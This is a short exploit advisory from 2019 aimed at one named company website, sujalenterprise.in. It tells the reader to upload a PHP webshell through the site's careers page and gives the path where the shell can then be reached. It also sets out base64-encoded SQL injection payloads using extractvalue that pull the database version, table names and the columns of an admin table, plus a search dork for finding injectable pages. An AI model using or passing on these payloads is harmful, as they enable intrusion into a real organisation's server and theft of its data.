=============================================================== # Title : Sujal Enterprise FIle Upload Vulnerability # Author : Dj3Bb4rAn0n (bassem) FB/djebbar.bassem.16 # Date : /08/04/2019 # Home : Annaba ( Algeria ) # Tested on : Linux ( Backbox ) # Vendor : Sujal Enterprise # Dork : =============================================================== # PoC : ----- --------------------------------------------------------------- # [ 1 ] File Upload Vulnerability # Upload Your melcious php backdoor or webshell from this link : http://sujalenterprise.in/career.php # To display the webshell use this link : http://sujalenterprise.in/img/career/[ WEBSHELL NAME ] ----------------------------------------------------------------- # [ 2 ] BASE64 xpath Sql injection Vulnerability # Search for any injection point from google using this dork : site:http://sujalenterprise.in .php?id # Use single quoat as a payload [ ' ] # Version : http://sujalenterprise.in/product_details.php?id=NjQgICBhbmQgZXh0cmFjdHZhbHVlKDB4MGEsY29uY2F0KDB4MGEsKHNlbGVjdCB2ZXJzaW9uKCkpKSk= : http://sujalenterprise.in/product_details.php?id=64 and extractvalue(0x0a,concat(0x0a,(select version()))) # Tables : http://sujalenterprise.in/product_details.php?id=NjQgICAgYW5kIGV4dHJhY3R2YWx1ZSgweDBhLGNvbmNhdCgweDBhLChzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgbGltaXQgMCwxKSkp # http://sujalenterprise.in/product_details.php?id=64 and extractvalue(0x0a,concat(0x0a,(select table_name from information_schema.tables where table_schema=database() limit [ Put limit ],1))) # Columns : http://sujalenterprise.in/product_details.php?id=NjQgICAgIGFuZCBleHRyYWN0dmFsdWUoMHgwYSxjb25jYXQoMHgwYSwoc2VsZWN0IGNvbHVtbl9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPURBVEFCQVNFKCkgYW5kIHRhYmxlX25hbWU9MHg3NDYyNmM1ZjYxNjQ2ZDY5NmUgbGltaXQgMSwxKSkp # http://sujalenterprise.in/product_details.php?id=64 and extractvalue(0x0a,concat(0x0a,(select column_name from information_schema.columns where table_schema=DATABASE() and table_name=0x74626c5f61646d696e limit [ PUt Limit ],1)))